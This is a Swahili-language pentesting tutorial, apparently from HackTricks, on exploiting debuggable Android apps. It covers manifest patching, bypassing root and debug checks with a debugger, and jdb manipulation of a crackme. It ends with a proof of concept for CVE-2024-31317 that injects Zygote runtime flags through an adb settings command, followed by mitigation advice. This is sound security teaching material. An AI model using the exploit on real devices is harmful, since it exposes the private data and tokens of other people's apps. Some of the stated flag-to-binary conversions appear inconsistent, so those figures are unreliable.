Exploiting a debuggeable application
Reading time: 7 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Kupita ukaguzi wa root na debuggeable
Sehemu hii ya chapisho ni muhtasari kutoka kwa chapisho https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
Hatua za Kufanya Programu ya Android Kuwa Debuggable na Kupita Ukaguzi
Kufanya Programu Kuwa Debuggable
Maudhui yanategemea https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- Decompile APK:
- Tumia zana ya APK-GUI kwa ajili ya decompiling APK.
- Katika faili android-manifest, weka
android:debuggable="true"
ili kuwezesha hali ya debugging. - Recompile, sign, na zipalign programu iliyobadilishwa.
- Sakinisha Programu Iliyobadilishwa:
- Tumia amri:
adb install <application_name>
.
- Pata Jina la Kifurushi:
- Tekeleza
adb shell pm list packages –3
ili orodhesha programu za wahusika wengine na kupata jina la kifurushi.
- Weka Programu Kusubiri Muunganisho wa Debugger:
- Amri:
adb shell am setup-debug-app –w <package_name>
. - Kumbuka: Amri hii lazima ifanywe kila wakati kabla ya kuanzisha programu ili kuhakikisha inasubiri debugger.
- Kwa kudumu, tumia
adb shell am setup-debug-app –w ––persistent <package_name>
. - Kuondoa bendera zote, tumia
adb shell am clear-debug-app <package_name>
.
- Jiandikishe kwa Debugging katika Android Studio:
- Tembea katika Android Studio hadi File -> Open Profile or APK.
- Fungua APK iliyorecompiled.
- Weka Breakpoints katika Faili Muhimu za Java:
- Weka breakpoints katika
MainActivity.java
(hasa katika njia yaonCreate
),b.java
, naContextWrapper.java
.
Kupita Ukaguzi
Programu, katika hatua fulani, itathibitisha ikiwa inapatikana kwa debugging na pia itakagua binaries zinazoashiria kifaa kilichoshikiliwa. Debugger inaweza kutumika kubadilisha taarifa za programu, kuondoa kipande cha debuggable, na kubadilisha majina ya binaries yanayotafutwa ili kupita ukaguzi huu.
Kwa ukaguzi wa debuggable:
- Badilisha Mipangilio ya Bendera:
- Katika sehemu ya mabadiliko ya debugger console, tembea hadi:
this mLoadedAPK -> mApplicationInfo -> flags = 814267974
. - Kumbuka: Uwakilishi wa binary wa
flags = 814267974
ni11000011100111011110
, unaonyesha kuwa "Flag_debuggable" inafanya kazi.
Hatua hizi kwa pamoja zinahakikisha kuwa programu inaweza kudebugged na kwamba ukaguzi fulani wa usalama unaweza kupitishwa kwa kutumia debugger, kurahisisha uchambuzi wa kina au mabadiliko ya tabia ya programu.
Hatua ya 2 inahusisha kubadilisha thamani ya bendera kuwa 814267972, ambayo inawakilishwa kwa binary kama 110000101101000000100010100.
Kutatua Uthibitisho
Uonyeshaji ulitolewa kwa kutumia programu yenye udhaifu inayojumuisha kitufe na textview. Kwanza, programu inaonyesha "Crack Me". Lengo ni kubadilisha ujumbe kutoka "Try Again" hadi "Hacked" wakati wa utendaji, bila kubadilisha msimbo wa chanzo.
Kuangalia Uthibitisho
- Programu ilitolewa kwa kutumia
apktool
ili kufikia faili yaAndroidManifest.xml
. - Uwepo wa
android_debuggable="true"
katika AndroidManifest.xml unaonyesha kuwa programu inaweza kudebugged na inahatarishwa kwa matumizi mabaya. - Inafaa kutaja kuwa
apktool
inatumika pekee kuangalia hali ya debuggable bila kubadilisha msimbo wowote.
Kuandaa Mipangilio
- Mchakato ulijumuisha kuanzisha emulator, kusakinisha programu yenye udhaifu, na kutumia
adb jdwp
kutambua bandari za Dalvik VM zinazotafutwa. - JDWP (Java Debug Wire Protocol) inaruhusu debugging ya programu inayotembea katika VM kwa kufichua bandari ya kipekee.
- Kuelekeza bandari ilikuwa muhimu kwa debugging ya mbali, ikifuatiwa na kuunganisha JDB kwenye programu lengwa.
Kuingiza Msimbo Wakati wa Utendaji
- Utekelezaji ulifanywa kwa kuweka breakpoints na kudhibiti mtiririko wa programu.
- Amri kama
classes
namethods <class_name>
zilitumika kufichua muundo wa programu. - Breakpoint ilipangwa katika njia ya
onClick
, na utekelezaji wake ulidhibitiwa. - Amri za
locals
,next
, naset
zilitumika kukagua na kubadilisha mabadiliko ya ndani, hasa kubadilisha ujumbe wa "Try Again" kuwa "Hacked". - Msimbo uliobadilishwa ulitekelezwa kwa kutumia amri ya
run
, kwa mafanikio kubadilisha matokeo ya programu kwa wakati halisi.
Mfano huu ulionyesha jinsi tabia ya programu inayoweza kudebugged inaweza kudhibitiwa, ikionyesha uwezekano wa matumizi mabaya zaidi kama kupata ufikiaji wa shell kwenye kifaa katika muktadha wa programu.
2024 – Kugeuza programu yoyote kuwa mchakato wa debuggable (CVE-2024-31317)
Hata kama APK lengwa siyo imetolewa na bendera ya android:debuggable
, utafiti wa hivi karibuni umeonyesha kuwa inawezekana kulazimisha programu za kiholela kuanzishwa na bendera ya wakati DEBUG_ENABLE_JDWP
kwa kutumia njia ambayo Zygote inasoma hoja za amri.
- Udhaifu: Uthibitisho usiofaa wa
--runtime-flags
zinazotolewa kupitia socket ya amri ya Zygote unaruhusu mshambuliaji ambaye anaweza kufikiasystem_server
(kwa mfano kupitia shell yaadb
yenye mamlaka ambayo ina ruhusa yaWRITE_SECURE_SETTINGS
) kuingiza vigezo vya ziada. Wakati amri iliyoundwa inarudiwa nasystem_server
, programu ya mwathirika inafanywa kama debuggable na na thread ya JDWP inayosikiliza. Tatizo hili linafuatiliwa kama CVE-2024-31317 na lilirekebishwa katika Bulletin ya Usalama ya Android ya Juni 2024. - Athari: Ufikiaji kamili wa kusoma/kandika kwenye saraka ya data ya faragha ya programu yoyote (ikiwemo zile zenye mamlaka kama
com.android.settings
), wizi wa tokeni, kupita MDM, na katika kesi nyingi njia ya moja kwa moja ya kupandisha mamlaka kwa kutumia mwisho wa IPC uliotolewa wa mchakato sasa-debuggable. - Toleo lililoathirika: Android 9 hadi 14 kabla ya kiwango cha patch ya Juni 2024.
PoC ya Haraka
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
Thamani iliyoundwa katika hatua ya 1 inavunja parser kutoka kwenye "fast-path" na kuongezea amri ya pili ya synthetic ambapo
--runtime-flags=0x104
(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE
) inakubaliwa kana kwamba imetolewa na mfumo. Mara tu programu inapozaliwa, soketi ya JDWP inafunguliwa na hila za kawaida za dynamic-debug (badilisha mbinu, pataji ya mabadiliko, sindikiza ya moja kwa moja ya Frida, nk.) zinaweza kufanyika bila kubadilisha APK au picha ya kuanzisha kifaa.
Ugunduzi & Kupunguza
- Pataji hadi 2024-06-01 (au baadaye) kiwango cha usalama – Google imeimarisha
ZygoteCommandBuffer
ili amri zinazofuata zisiweze kupitishwa kwa njia hii. - Punguza ufikiaji wa
WRITE_SECURE_SETTINGS
/shell
kwenye vifaa vya uzalishaji. Ulaghai huu unahitaji ruhusa hii, ambayo kawaida inashikiliwa tu na ADB au programu zenye mamlaka ya OEM. - Kwenye meli zinazodhibitiwa na EMM/MDM, enforce
ro.debuggable=0
na kataa shell kupitiaadb disable-verifier
.
Marejeleo
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.